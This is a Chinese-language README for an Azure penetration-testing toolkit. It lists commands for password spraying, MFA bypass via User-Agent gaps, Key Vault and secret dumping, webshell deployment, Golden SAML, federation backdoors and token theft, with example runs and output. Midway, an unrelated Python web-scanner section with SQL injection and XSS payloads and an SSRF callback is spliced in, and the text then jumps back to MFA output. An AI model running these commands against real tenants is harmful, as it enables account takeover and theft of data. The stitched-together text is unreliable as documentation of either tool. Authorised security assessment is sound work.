用于授权 Azure 安全评估的 Go 工具包:枚举订阅和资源,审计错误配置,并匿名攻击公共 Blob 存储。
azpt)🚧 公开测试版。
azpt正在积极开发中——命令、标志和输出格式在版本之间仍可能发生变化。欢迎通过 GitHub issues 提交错误报告和反馈。
azpt 是一个用于授权 Azure 安全评估的 Go 工具包。它从两个视角工作:
⚠️ 仅限授权使用。 仅针对你拥有明确书面许可进行测试的租户、订阅和存储账户运行此工具。匿名
blob命令会通过互联网接触第三方基础设施——请将其限定在你的授权范围内。
以下所有示例均针对一个虚构的 Acme Corp,其静态营销站点托管在名为 acmewebsite 的 Azure 存储账户上(https://acmewebsite.blob.core.windows.net)。
完整文档位于 docs/:
docs/guides/)——按功能划分:该技术如何工作、它所需的确切 Azure RBAC / Microsoft Graph 权限、关键标志的说明、示例,以及 OPSEC / 检测注意事项——按交战阶段组织。docs/guides/scenarios/)——端到端的攻击叙述,跨阶段串联命令(令牌 → 全局管理员、Golden SAML 接管、PRT 窃取、同意钓鱼 → M365、托管身份横向移动、离线目录搜寻、设备代码钓鱼),每个都包含 OPSEC 和清理步骤。docs/reference/)——每个命令自动生成的页面,包含所有标志(名称、简写、类型、默认值、描述)。使用 azpt gen-docs docs/reference 重新生成;相同信息可通过 azpt <command> --help 打印。从最新发布下载适用于你平台的归档文件,验证并解压:```bash
tar -xzf azpt_.tar.gz sha256sum -c --ignore-missing SHA256SUMS
二进制文件是静态的(`CGO_ENABLED=0`),无需运行时依赖。
构建版本发布在 linux 和 darwin 上的 amd64 和 arm64 架构。
Windows 二进制文件未发布。仅限 Windows 的辅助工具(`prt extract`、
`adconnect sync-creds`、DPAPI)仍可在 Windows 主机上通过 `go build -o
azpt.exe .` 从源码构建。
### 从源码构建
需要 Go 1.26+。```bash
git clone https://github.com/hac01/azure-pentesting-suite.git
cd azure-pentesting-suite
go build -o azpt .
这会在仓库根目录生成一个自包含的 azpt 二进制文件。你也可以在仓库目录下通过 go run . <command> 直接运行,无需构建。
匿名 blob 命令无需 Azure 登录:```bash
./azpt blob hunt --account acmewebsite
使用 Azure 凭据(`az login`),从内部进行评估——包括资源平面(ARM)和目录(Entra ID / Graph):```bash
./azpt enum whoami # who am I authenticated as?
./azpt enum subscriptions # what subscriptions can this principal see?
./azpt audit storage # misconfigured storage accounts
./azpt enum users # dump the Entra ID directory (Graph)
一个常见的攻击链:使用 blob hunt 匿名恢复凭据,以该用户身份登录(az login),通过 enum access 检查其权限,然后掠夺任何你能访问到的 Key Vault:```bash
./azpt enum access # token scopes, directory roles, groups, RBAC roles
./azpt enum resources # find Key Vaults (type: vaults)
./azpt vault list --vault ext-contractors # secrets, keys, certs in that vault
./azpt vault dump --vault ext-contractors # read every secret value (the loot)
---
## 身份验证
匿名 `blob` 命令**无需**身份验证。其他所有操作均使用
Azure **默认凭据链**,该链按顺序尝试:环境变量、
工作负载标识、托管标识以及 Azure CLI(`az login`)。```bash
az login
./azpt enum subscriptions
强制使用显式的 service-principal 身份验证(适用于限定范围的评估身份),可通过标志或环境变量进行配置。还没有?az ad sp create-for-rbac --name azpt-assessment --role Reader --scopes /subscriptions/<subscription-id> 可以创建一个——完整操作步骤请参阅入门指南,其中包括仅靠 RBAC 无法授予的 Graph 权限:```bash
./azpt --tenant --client-id --client-secret
enum subscriptions
export AZURE_TENANT_ID=... AZURE_CLIENT_ID=... AZURE_CLIENT_SECRET=... ./azpt enum subscriptions
**基于证书的**认证(PFX 或 PEM):```bash
./azpt --tenant <tenant-id> --client-id <app-id> \
--certificate ./cert.pfx --cert-password 'P@ss' \
enum subscriptions
使用 --subscription 将经过身份验证的运行范围限定到特定订阅
(可重复);默认是主体能够访问的每个订阅:```bash
./azpt --subscription 00000000-1111-2222-3333-444444444444 audit storage
---
## 命令参考
🧪 表示该命令仍处于 **beta** 阶段:已实现且可用,但相比套件中的其他命令
未经充分实战检验——预计会有较粗糙的边缘情况,如遇到问题请反馈。
| 命令 | 认证 | API | 描述 |
| --- | :---: | --- | --- |
| `recon realm <domain>` | ❌ | Identity | 该域是否由 Entra ID 支持?(Managed/Federated) |
| `recon tenant <domain>` | ❌ | Identity | 发现租户 ID(OpenID 配置) |
| `recon outsider <domain>` | ❌ | Identity+DNS | 完整的外部侦察:realm、tenant、MX/SPF/DMARC/DKIM/MTA-STS |
| `recon subdomains <base>` | ❌ | DNS | 枚举 Azure 服务子域(App Service、Storage、Vault、SQL 等) |
| `recon users` | ❌ | Identity | 验证用户名是否存在于 Entra ID 中 |
| `spray` | ❌ | Identity | 使用单个密码对多个用户名进行密码喷洒(仅限授权场景) |
| `mfa audit` | ❌ | Identity | 发现 MFA 强制实施缺口(跨资源/客户端/User-Agent 的 ROPC) |
| `mfa token` | ❌ | Identity | 通过 MFA 缺口获取访问令牌(自动尝试 User-Agent) |
| `mfa refresh` | ❌ | Identity | 用刷新令牌换取另一资源的令牌(FOCI) |
| `mfa devicecode` | ❌ | Identity | 设备代码钓鱼诱饵 → 在受害者登录后捕获令牌 |
| `imds token` | ❌ | IMDS | 在已攻陷的资源上铸造托管标识令牌(在目标机上运行) |
| `imds loot` | ❌ | IMDS | 一次性获取 ARM、Graph、Storage 和 Key Vault 的 MI 令牌 |
| `enum ca` | ✅ | Graph | 枚举条件访问策略并标记 MFA 缺口 |
| `enum deployments` | ✅ | ARM | 列出 ARM 部署历史,标记含密钥的参数 |
| `webapp list/settings/creds` | ✅ | ARM | App Service 清单、应用设置、Kudu 发布凭据 |
| `webapp exec` | ✅ | ARM/Kudu | 通过 Kudu 在站点上运行命令(RCE) |
| `webapp loot` | ✅ | ARM | 每个应用:设置 + 连接字符串 + Kudu 凭据,标记密钥 |
| `storage keys` | ✅ | ARM | 列出存储账户的访问密钥 |
| `storage sas` | ✅ | ARM | 通过 ARM 铸造账户 SAS 令牌 |
| `vm list` / `vm run` | ✅ | ARM | 列出 VM / 通过 RunCommand 运行命令 |
| `automation list/loot` | ✅ | ARM | Automation runbook、变量、凭据名称 |
| `loot keys` | ✅ | ARM | 从 Cosmos、ACR、Redis、Service Bus、Event Hub、Cognitive、Batch、App Config、SignalR、Maps 中扫取密钥/连接字符串 |
| `loot apim` | ✅ | ARM | API Management 命名值(含密钥) |
| `loot logicapps` / `loot datafactory` | ✅ | ARM | Logic App 定义 / Data Factory 链接服务 |
| `aks list` / `aks kubeconfig` | ✅ | ARM | 列出 AKS 集群 / 获取 cluster-admin kubeconfig |
| `enum approles` | ✅ | Graph | 枚举 Graph 应用角色授予,标记提权路径(→ 全局管理员) |
| `enum privroles` | ✅ | Graph | 特权目录角色持有者(活跃 + PIM 符合条件) |
| `enum grants` | ✅ | Graph | OAuth2 委派授予(非法 / 过度授权),标记危险作用域 |
| `enum laps` | ✅ | Graph | 从 Entra 检索 Windows LAPS 本地管理员密码 |
| `enum bitlocker` | ✅ | Graph | 从 Entra 检索 BitLocker 恢复密钥 |
| `enum dynamicgroups` | ✅ | Graph | 动态(基于规则)组——自助加入 / 提权攻击面 |
| `enum guests` / `enum devices` | ✅ | Graph | 来宾(B2B)用户 / 已注册设备 |
| `enum risky` | ✅ | Graph | 陈旧/风险搜寻:来宾、同步 SP、break-glass、含密钥的应用 |
| `enum intune` / `intune list` | ✅ | Graph | 列出 Intune 管理的设备 |
| `intune script` | ✅ | Graph | 向设备组部署 PowerShell 脚本(SYSTEM RCE) |
| `recon tenantinfo` | ❌ | Identity | 深度外部侦察:租户 ID、联合、无缝 SSO、本地同步 |
| `entra create-app` | ✅ | Graph | 创建应用 + SP + 密钥(可控的持久化身份) |
| `entra reset-password` | ✅ | Graph | 重置用户密码(账户接管) |
| `token decode` | ❌ | — | 解码 JWT 的声明(身份、作用域、角色、wids→角色名称、过期时间) |
| `elevate-access` | ✅ | ARM | 全局管理员 → 租户根级用户访问管理员(Entra→Azure 枢轴) |
| `entra add-member/add-owner` | ✅ | Graph | 向组/应用/SP 添加成员/所有者(提权与持久化) |
| `entra grant` | ✅ | Graph | 创建 OAuth2 同意授予(非法同意) |
| `entra invite` / `entra tap` | ✅ | Graph | 邀请 B2B 来宾 / 创建临时访问通行证(认证绕过) |
| `scan --loot` | ✅ | ARM+Graph | 深度扫描战利品:Function App 密钥、AKS kubeconfig、LAPS、BitLocker、APIM、数据库防火墙、快照、自定义角色、陈旧凭据 |
| `scan --bloodhound` | ✅ | — | 将 Entra+ARM 图导出为 BloodHound CE OpenGraph JSON |
| `enum adminunits` | ✅ | Graph | 管理单元及其作用域角色成员(AU 作用域管理员滥用) |
| `enum identities` | ✅ | ARM | 将托管标识映射到其宿主资源 |
| `enum lighthouse` | ✅ | ARM | Azure Lighthouse 委派(管理此订阅的外部租户) |
| `enum pip` | ✅ | ARM | 列出订阅范围内的公共 IP 地址 |
| `entra update-profile` | ✅ | Graph | 更新用户的配置文件属性(动态组滥用) |
| `app add-secret` | ✅ | Graph | 向应用注册添加客户端密钥(持久化/提权) |
| `app add-federated` | ✅ | Graph | 添加联合身份凭据(外部 IdP 持久化) |
| `webapp functionkeys` | ✅ | ARM | Function App 主机密钥(主密钥 → 管理 API / RCE) |
| `disk list` / `disk export` | ✅ | ARM | 列出磁盘/快照 / 读取 SAS 导出以进行离线 VHD 战利品提取 |
| `storage shares` / `storage queues` | ✅ | ARM | 列出 Azure Files 共享 / 存储队列 |
| `storage peek` / `storage files` | ✅ | Storage | 查看队列消息内容 / 列出文件共享中的文件(数据平面) |
| `loot aci` | ✅ | ARM/data | 容器实例环境变量 |
| `loot appconfig` 🧪 | ✅ | ARM/data | App Configuration 键值 |
| `cosmos list/dump/table` | ✅ | ARM+data | Cosmos DB 账户、数据库、容器、文档读取、Table API |
| `containerapp loot/exec/steal-token` | ✅ | ARM | 容器应用密钥 + 环境变量 / 在副本中执行 / 窃取 MI 令牌 |
| `iot list/devices/invoke` | ✅ | ARM+data | IoT Hub 密钥、设备身份、直接方法调用(设备 RCE) |
| `backup vaults/items/restore` | ✅ | ARM | 恢复服务保管库、备份项 + 恢复点、还原磁盘 |
| `db list/query` | ✅ | ARM+data | PostgreSQL/MySQL 服务器枚举与查询(Entra 或数据库登录) |
| `blob containers` | ❌ | Blob | 列出存储账户上的所有容器(使用 --sas 进行服务级 SAS) |
| `m365 mail/files/sites` | ✅ | Graph | 使用 Graph 令牌提取邮箱、OneDrive 和 SharePoint |
| `blob brute` | ❌ | DNS/Blob | 按名称发现存储账户并探测匿名容器 |
| `recon takeover` | ❌ | DNS | 标记悬空的 Azure CNAME(子域接管) |
| `audit network` | ✅ | ARM | 审计 NSG 互联网暴露和公共 IP |
| `audit keyvault` | ✅ | ARM | 审计 Key Vault 公共访问、清除/软删除、宽泛策略 |
| `audit rbac` | ✅ | ARM | 审计 RBAC 卫生:Owner 泛滥、UAA、高风险自定义角色 |
| `enum subscriptions` | ✅ | ARM | 列出当前主体可见的订阅 |
| `enum resources` | ✅ | ARM | 列出订阅范围内的每个资源(`--fast` 使用 Resource Graph;`--access` 添加一列显示你在每个资源上持有的 RBAC 角色) |
| `enum kql` | ✅ | ARM | 在范围内运行任意 Azure Resource Graph(KQL)查询 |
| `enum users` | ✅ | Graph | 列出 Entra ID 目录用户 |
| `enum groups` | ✅ | Graph | 列出 Entra ID 目录组 |
| `enum service-principals` | ✅ | Graph | 列出服务主体 / 企业应用 |
| `enum apps` | ✅ | Graph | 列出应用注册,含密钥/证书数量 |
| `enum org` | ✅ | Graph | 显示租户/组织信息和已验证域 |
| `enum whoami` | ✅ | Graph | 显示当前已认证用户(`/me`) |
| `enum access` | ✅ | ARM+Graph | 显示你的有效访问权限:令牌作用域、目录角色、组成员身份、RBAC 角色 |
| `scan` | ✅ | ARM+Graph | 将用户的访问权限映射为 BloodHound 风格攻击路径图(+ HTML) |
| `audit storage` | ✅ | ARM | 审计存储账户(公共访问、TLS、传输、防火墙) |
| `vault list` | ✅ | KV | 列出 Key Vault 中的密钥、密钥和证书 |
| `vault get --secret <n>` | ✅ | KV | 读取单个 Key Vault 密钥值 |
| `vault dump` | ✅ | KV | 列出并读取 Key Vault 中的每个密钥 |
| `sql databases` | ✅ | SQL | 列出 Azure SQL 服务器上的数据库 |
| `sql tables` | ✅ | SQL | 列出数据库中的表(含行数) |
| `sql query -q <sql>` | ✅ | SQL | 运行只读查询(变更需要 `--allow-write`) |
| `sql dump --table <t>` | ✅ | SQL | 从表中导出数据行 |
| `storage containers` | ✅ | Storage | 列出 blob 容器(已认证) |
| `storage blobs` | ✅ | Storage | 列出容器中的 blob(已认证) |
| `storage download` | ✅ | Storage | 下载 blob(已认证) |
| `storage tables` | ✅ | Storage | 列出账户中的存储表 |
| `storage entities` | ✅ | Storage | 查询/导出存储表的行 |
| `blob check <path>` | ❌ | Blob | 对 blob 执行 HEAD 请求以测试匿名可达性 |
| `blob list` | ❌ | Blob | 匿名列出容器(`--versions`、`--delimiter /`、`--prefix`) |
| `blob versions` | ❌ | Blob | 枚举 blob 版本——暴露旧的/被取代的/已删除的文件 |
| `blob download <path>` | ❌ | Blob | 下载 blob,可选指定 `--version-id` |
| `blob hunt` | ❌ | Blob | 探测容器、枚举版本并标记含密钥的文件 |
| `vm show` | ✅ | ARM | 详细 VM 信息:用户数据、公共/私有 IP、标签、管理员用户 |
| `vm extensions` | ✅ | ARM | 列出 VM 扩展(自定义脚本扩展凭据泄露) |
| `vm steal-token` | ✅ | ARM | 通过 IMDS 从 VM 窃取托管标识令牌(RunCommand) |
| `enum synced` | ✅ | Graph | 列出带安全标识符(SID)的本地同步用户 |
| `enum powerplatform environments` 🧪 | ✅ | PowerApps | 列出 Power Platform 环境(Dataverse 实例) |
| `enum powerplatform apps` 🧪 | ✅ | PowerApps | 列出 Power Apps 画布应用 |
| `enum powerplatform tables` 🧪 | ✅ | Dataverse | 列出 Dataverse 表(实体定义) |
| `enum powerplatform query` 🧪 | ✅ | Dataverse | 通过 OData 查询 Dataverse 表中的行 |
| `webapp deploy` | ✅ | Kudu | 通过 Kudu VFS 上传文件到 Web 应用(webshell 部署) |
| `token extract` | ❌ | — | 从 MSAL 令牌缓存文件中提取令牌(刷新 + 访问) |
| `m365 teams/search-mail/search-files` | ✅ | Graph | Teams 频道、邮件搜索、SharePoint/OneDrive 搜索 |
| `m365 scan` | ✅ | Graph | 扫描 M365 数据中的密钥、密码、凭据(14 种模式) |
| `devops projects/serviceconnections/variablegroups/pipelines` | ✅ | DevOps | 枚举 Azure DevOps 组织:项目、服务连接(暴露 SP/租户/订阅)、变量组、管道 |
| `devops preview` | ✅ | DevOps | 在模板/变量展开后解析管道的最终 YAML,而不运行它 |
| `devops run` | ✅ | DevOps | 排队一次真实的管道运行并捕获其构建日志(以管道的服务连接身份执行) |
| `arm deploy-script` | ✅ | ARM | 通过 `deploymentScripts` 在临时 ACI 容器中运行代码(RCE),可选附加托管标识 |
| `persistence grant-rbac` | ✅ | ARM | 在任意范围向自己或某主体分配 RBAC 角色(例如 Owner)(提权/持久化) |
| `persistence attach-identity` | ✅ | ARM | 将用户分配的托管标识附加到资源(通过 `steal-token` 提权) |
| `aks kubeconfig --user` | ✅ | ARM | 获取 Entra 认证的用户 kubeconfig(适用于禁用本地账户的集群) |
| `k8s secrets` | ✅ | K8s | 导出命名空间(或整个集群)中的每个 Kubernetes 密钥 |
| `k8s serviceaccounts` | ✅ | K8s | 列出服务账户,标记通过 Azure Workload Identity 联合的账户 |
| `k8s pods` | ✅ | K8s | 列出 pod 及每个 pod 运行所用的服务账户 |
| `k8s rbac` | ✅ | K8s | 枚举集群/角色绑定,标记 cluster-admin/通配符/pod-exec/secrets-read 提权路径 |
| `k8s exec` | ✅ | K8s | 在 pod 中运行命令(非交互式 RCE,以该 pod 的服务账户身份) |
| `k8s steal-token` | ✅ | K8s | 通过 TokenRequest API 铸造服务账户令牌(无需挂载令牌密钥即可工作) |
| `k8s pivot-azure` | ✅ | K8s→Entra | 窃取工作负载身份联合的 SA 令牌并将其换取真实的 Azure AD 访问令牌 |
| `harvest` | ❌ | — | 从磁盘提取 az CLI / Az PowerShell 凭据存储(令牌、SP 密钥;Windows 上受 DPAPI 保护的存储) |
| `prt nonce` 🧪 | ❌ | Identity | 获取用于 PRT cookie 签名的服务器 nonce(`srv_challenge`) |
| `prt cookie` 🧪 | ❌ | Identity | 从 PRT + 会话密钥构建已签名的 `x-ms-RefreshTokenCredential` SSO cookie(KDF v2) |
| `prt auth` 🧪 | ❌ | Identity | 完整 PRT SSO 链:nonce → cookie → authorize → 访问 + 刷新令牌 |
| `prt extract` 🧪 | ❌ | Identity | 主机上(Windows):从 BrowserCore.exe 提取新的 SSO cookie 并兑换(ROADtoken) |
| `device register` | ✅ | DRS | 注册流氓设备(加入)→ 设备证书/密钥——PRT 前置条件、设备 CA 绕过、持久化 |
| `federation list` | ✅ | Graph | 显示域的联合配置 |
| `federation backdoor` | ✅ | Graph | 将托管域转换为联合,信任攻击者 STS(AADInternals `ConvertTo-AADIntBackdoor`) |
| `federation golden-saml` 🧪 | ❌ | Identity | 为任意用户伪造已签名的 SAML 断言并兑换为令牌(Golden SAML) |
| `federation remove` | ✅ | Graph | 删除联合配置(恢复为 Managed / 清理) |
| `entra phish-app create` 🧪 | ✅ | Graph | 铸造多租户 OAuth 同意钓鱼应用 + 同意 URL(GraphRunner `Invoke-InjectOAuthApp`) |
| `entra phish-app serve` | ❌ | Identity | 本地监听器,捕获同意授权码并兑换为令牌 |
| `m365 rules list/add/delete` | ✅ | Graph | 收件箱转发规则(静默邮箱转发持久化) |
| `scan dump` | ✅ | ARM+Graph | 将目录 + 攻击图拉取到离线纯 Go SQLite 数据库 |
| `scan query <view>` | ❌ | — | 对转储运行预设分析视图(`admins`、`password-resetters`、`dangerous-approles` 等) |
| `adconnect sync-creds` | ✅ | ADSync SQL | 从 ADSync 数据库导出加密的 AD Connect 同步绑定凭据(使用 AADInternals `Get-AADIntSyncCredentials` 解密) |
`azpt` 与三种 Azure API 通信。**ARM** 命令使用 Azure SDK;**Graph** 命令
(Entra ID / 目录对象)使用来自同一凭据的原始 Graph 令牌;**Blob** 命令
完全匿名。
**全局标志**(位于子命令之前):`--json`、`--jsonl`(NDJSON,用于
流式/BloodHound 风格管道)、`--opsec`(运行前打印检测面)、
`--subscription <id>`(可重复)、`--tenant`、`--client-id`、
`--client-secret`、`--certificate`(PFX/PEM)、`--cert-password`、
`--access-token`(可重复,或 `AZPT_TOKEN`)、`--refresh-token`(FOCI
自动枢轴)、`--cloud`(`public` | `usgov` | `china`——为主权云重新定位
ARM/Graph/登录端点)。
所有 ARM 和 Graph 调用都遵循 `nextLink` 分页(在大型租户上不会静默截断),
并在 `429`/`503` 时重试,遵循 `Retry-After`。
**使用窃取的令牌驱动 azpt。** 任何已认证命令都接受通过 `--access-token`
(或 `AZPT_TOKEN`)预先获取的 bearer 令牌,而非 `az login`——从 MFA 缺口
(`mfa token`)、托管标识(`imds`)或钓鱼获取的令牌均可直接使用。提供多个
(ARM、Graph、Storage),每个都会被路由到与其受众匹配的 API:```bash
azpt --access-token "$(cat arm.jwt)" enum resources
azpt --access-token "$ARM" --access-token "$STORAGE" scan --deep --html graph.html
经典的后期利用链,完全在 azpt 中实现:```bash
T=$(azpt mfa token -u [email protected] -P 'Passw0rd!' -r arm --confirm --json | jq -r .accessToken) azpt --access-token "$T" webapp loot # app settings → MSI secret, storage, DB creds
azpt imds loot -c "$ENTRA_CLIENT_ID" # ARM + Storage tokens for the app's identity
azpt --access-token "$STORAGE_TOKEN" storage containers --account corpstorage
**`blob` 标志**(所有 `blob` 子命令):`--account <name>`(必需),
`--container <name>`(默认 `$web`),`--api-version <ver>`(默认
`2021-08-06`;用于版本枚举时必须 ≥ `2019-12-12`),
`--endpoint-suffix <suffix>`(默认 `core.windows.net`;对于主权云,设置为
`core.usgovcloudapi.net` / `core.chinacloudapi.cn`)。
运行 `./azpt <command> --help` 可查看任意命令的完整标志列表。
---
## 侦察(仅限域名)
`recon` 命令是交战的前线:仅凭一个域名,
判断该组织是否使用 Entra ID、查找其租户 ID、绘制其
Azure 足迹,并验证用户名——全部**无需认证**。```bash
# Is contoso.com on Entra ID, and what's the tenant ID?
./azpt recon realm contoso.com
./azpt recon tenant contoso.com
# One-shot outsider posture (realm + tenant + mail/DNS security)
./azpt recon outsider contoso.com
# Map the Azure footprint by brute-forcing service subdomains.
# Wildcard services (e.g. Front Door) are auto-detected and skipped.
./azpt recon subdomains contoso --threads 30
# Validate candidate usernames (o365 enumeration; does not lock accounts)
./azpt recon users [email protected] [email protected]
./azpt recon users --user-file names.txt
# Generate username patterns from a name and validate them
./azpt recon users --first jane --last doe --domain contoso.com
spray一旦你拥有有效的用户名和一个候选密码(例如来自泄露语料库),就进行测试。这是单个密码针对多个用户(一种喷洒,而非会锁定账户的逐用户暴力破解),但它仍然会产生噪音,并可能触发锁定和警报。```bash ./azpt spray --user-file valid-users.txt --password 'Spring2026!' --confirm
`--confirm` 是强制性的——省略它,命令将拒绝运行。结果会被分类为:有效、有效但需要 MFA、已禁用、已锁定(停止!)或无效。仅在密码验证*之后*才会出现的代码(MFA、已过期、CA)会被报告为**有效凭据**。
> ⚠️ 密码喷洒是一种侵入性、可被检测的技术。仅针对你拥有明确书面授权进行测试的租户运行它。
### MFA 执行缺口 — `mfa`
你拥有某个用户的**有效凭据**,但 Azure 门户提示需要 MFA。条件访问策略通常按*资源*、*客户端应用*和*设备平台*(Entra 从 `User-Agent` 推导得出)来限定范围。如果某个策略仅在请求匹配其中某个条件时才要求 MFA,那么一个**不匹配任何条件**的请求——例如一个不常见的设备平台 User-Agent——就能在**完全无需 MFA** 的情况下获取令牌。这与 [FindMeAccess](https://github.com/absolomb/FindMeAccess) 使用的是同一种技术,采用 ROPC 流程。```bash
# Sweep resources / clients / device-platform User-Agents for a gap.
./azpt mfa audit -u [email protected] -P 'Passw0rd!' --confirm
--no-verify:跳过 SSL 证书验证(仅用于测试)--timeout:请求超时时间(秒,默认:10)--user-agent:自定义 User-Agent 字符串--proxy:用于请求的代理 URL--threads:并发线程数(默认:10)--delay:请求之间的延迟(秒)--random-agent:使用随机 User-Agent--follow-redirects:跟随 HTTP 重定向--max-redirects:最大重定向次数(默认:5)--retry:失败请求的重试次数(默认:3)--retry-delay:重试之间的延迟(秒,默认:1)--output:输出文件路径该工具支持使用 YAML 配置文件进行高级配置:
# config.yaml
general:
threads: 20
timeout: 15
user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
follow_redirects: true
max_redirects: 5
retry: 3
retry_delay: 2
verbose: false
quiet: false
no_color: false
proxy:
enabled: true
url: "http://127.0.0.1:8080"
username: ""
password: ""
output:
format: "json"
path: "./results"
save_raw: true
save_processed: true
modules:
enabled:
- "sqli"
- "xss"
- "lfi"
- "rce"
- "ssrf"
disabled:
- "csrf"
- "open_redirect"
scan:
depth: 3
max_urls: 1000
exclude_patterns:
- ".*\\.(jpg|jpeg|png|gif|css|js)$"
- ".*logout.*"
- ".*signout.*"
该工具包含多个用于检测不同漏洞类型的模块:
# 扫描单个 URL
python3 vulnscan.py -u https://example.com
# 使用特定模块扫描
python3 vulnscan.py -u https://example.com -m sqli,xss
# 从文件扫描多个 URL
python3 vulnscan.py -f urls.txt
# 使用自定义线程数扫描
python3 vulnscan.py -u https://example.com -t 20
# 使用代理和自定义 User-Agent 扫描
python3 vulnscan.py -u https://example.com --proxy http://127.0.0.1:8080 --user-agent "Custom UA"
# 使用配置文件扫描
python3 vulnscan.py -u https://example.com --config config.yaml
# 以 JSON 格式输出扫描结果
python3 vulnscan.py -u https://example.com -o results.json --format json
# 使用随机 User-Agent 和延迟扫描
python3 vulnscan.py -u https://example.com --random-agent --delay 1
# SQL 注入扫描
python3 vulnscan.py -u https://example.com -m sqli --level 3 --risk 2
# XSS 扫描
python3 vulnscan.py -u https://example.com -m xss --crawl --depth 3
# LFI 扫描
python3 vulnscan.py -u https://example.com -m lfi --wordlist /path/to/wordlist.txt
# RCE 扫描
python3 vulnscan.py -u https://example.com -m rce --command "id"
# SSRF 扫描
python3 vulnscan.py -u https://example.com -m ssrf --callback http://your-server.com
该工具支持多种输出格式:
[+] 正在扫描:https://example.com
[+] 已发现 15 个 URL
[+] 正在测试 SQL 注入...
[!] 在 https://example.com/login.php?id=1 处发现 SQL 注入
[!] 参数:id
[!] 载荷:' OR '1'='1
[!] 数据库:MySQL
[+] 正在测试 XSS...
[!] 在 https://example.com/search?q=test 处发现 XSS
[!] 参数:q
[!] 载荷:<script>alert(1)</script>
[+] 扫描完成
[+] 发现 2 个漏洞
{
"scan_info": {
"target": "https://example.com",
"start_time": "2024-01-01T12:00:00Z",
"end_time": "2024-01-01T12:05:00Z",
"duration": 300,
"urls_found": 15,
"urls_tested": 15
},
"vulnerabilities": [
{
"type": "sqli",
"url": "https://example.com/login.php?id=1",
"parameter": "id",
"payload": "' OR '1'='1",
"method": "GET",
"severity": "high",
"confidence": "high",
"details": {
"database": "MySQL",
"technique": "boolean-based blind"
}
},
{
"type": "xss",
"url": "https://example.com/search?q=test",
"parameter": "q",
"payload": "<script>alert(1)</script>",
"method": "GET",
"severity": "medium",
"confidence": "high",
"details": {
"context": "HTML",
"type": "reflected"
}
}
],
"statistics": {
"total_vulnerabilities": 2,
"high": 1,
"medium": 1,
"low": 0,
"info": 0
}
}
type,url,parameter,payload,method,severity,confidence
sqli,https://example.com/login.php?id=1,id,' OR '1'='1,GET,high,high
xss,https://example.com/search?q=test,q,<script>alert(1)</script>,GET,medium,high
HTML 输出包含一个格式良好的报告,带有交互式元素、图表和详细发现。
该工具可以集成到各种工作流和工具中:
# .github/workflows/security-scan.yml
name: Security Scan
on:
push:
branches: [ main ]
pull_request:
branches: [ main ]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: '3.9'
- name: Install dependencies
run: |
python -m pip install --upgrade pip
pip install -r requirements.txt
- name: Run security scan
run: |
python3 vulnscan.py -u ${{ secrets.TARGET_URL }} -o results.json --format json
- name: Upload results
uses: actions/upload-artifact@v2
with:
name: security-scan-results
path: results.json
# Dockerfile
FROM python:3.9-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY . .
ENTRYPOINT ["python3", "vulnscan.py"]
# 构建 Docker 镜像
docker build -t vulnscan .
# 运行 Docker 容器
docker run -it --rm vulnscan -u https://example.com
# api_integration.py
import requests
import json
class VulnScanAPI:
def __init__(self, base_url):
self.base_url = base_url
def scan(self, target, modules=None, options=None):
data = {
"target": target,
"modules": modules or ["sqli", "xss", "lfi"],
"options": options or {}
}
response = requests.post(f"{self.base_url}/scan", json=data)
return response.json()
def get_scan_status(self, scan_id):
response = requests.get(f"{self.base_url}/scan/{scan_id}")
return response.json()
def get_scan_results(self, scan_id):
response = requests.get(f"{self.base_url}/scan/{scan_id}/results")
return response.json()
# 用法
api = VulnScanAPI("http://localhost:5000")
result = api.scan("https://example.com")
print(json.dumps(result, indent=2))
连接超时
--timeout 30SSL 证书错误
--no-verify 跳过验证(仅用于测试)速率限制
--delay 2--threads 5内存问题
--max-urls 选项误报
--confidence 选项# 启用详细输出
python3 vulnscan.py -u https://example.com --verbose
# 启用调试日志
python3 vulnscan.py -u https://example.com --debug
# 保存调试信息
python3 vulnscan.py -u https://example.com --debug --output debug.log
欢迎贡献!请遵循以下步骤:
git checkout -b feature/amazing-feature)git commit -m 'Add some amazing feature')git push origin feature/amazing-feature)本项目根据 MIT 许可证授权 - 有关详细信息,请参阅 LICENSE 文件。
本工具仅供教育和道德测试目的使用。未经授权访问计算机系统是非法的。用户有责任遵守所有适用的法律和法规。作者不对因使用本工具造成的任何损害或损失负责。
⭐ 如果您觉得这个工具有用,请在 GitHub 上给它一个星标!``` [·] MFA Azure Resource Manager Azure PowerShell Windows 10 / Chrome — MFA required (Conditional Access enforced) [·] MFA Azure Resource Manager Azure PowerShell macOS / Safari — MFA required (Conditional Access enforced) [+] GAP Azure Resource Manager Azure PowerShell PlayStation 5 — TOKEN ISSUED — no MFA challenge ... OVERVIEW 10 attempts · 3 MFA gaps · 6 MFA-enforced · 0 blocked
[+] MFA GAP CONFIRMED — 3 combination(s) returned a token with no MFA: Azure Resource Manager via client "Azure PowerShell" · User-Agent "PlayStation 5"
这里的差距在于一种设备平台条件,其中*所有*平台都被选中——这看起来是安全的,但评估仅在 User-Agent **匹配其中一个**时才强制执行 MFA。一个都不匹配的 User-Agent(PlayStation 5,或一个编造的字符串)会被授予访问权限。现在获取一个可用的令牌并横向移动:```bash
# Auto-tries User-Agents until one bypasses MFA; prints the token + a usage hint.
./azpt mfa token -u [email protected] -P 'Passw0rd!' \
-r "https://management.azure.com" --confirm
# → ACCESS TOKEN (ARM), plus:
# Connect-AzAccount -AccessToken $t -AccountId "j.doe"
-r / -c 接受完整 URL / 应用 ID 或 短名称(storage、graph、keyvault;cli、office、teams)。以相同方式获取 Storage 令牌,以访问 ARM 令牌无法触及的 blob 数据:```bash
./azpt mfa token -u [email protected] -P 'Passw0rd!' -r storage --confirm
`--confirm` 是强制性的。ROPC 会将真实凭据发送到令牌终结点,因此重复尝试可能会锁定账户并触发登录警报——扫描是**分阶段**进行的(先基线,再 User-Agents,然后 `--full` 扩展到每个客户端和资源),以保持请求数量较低,而 `--delay <ms>` 会对其进行限流。
> ⚠️ 基于 ROPC 的 MFA 测试具有侵入性且会被记录(它会作为 ROPC 认证出现在 Entra 登录日志中)。仅限授权测试。
## 演练:匿名 blob 攻击
这是旗舰工作流:在**零凭据**的情况下攻陷托管于 Azure Blob 存储的静态网站。当容器的公共访问级别设置为 `Container` 时,匿名*列出*即可生效;*版本枚举*还额外要求账户上启用了 blob 版本控制。
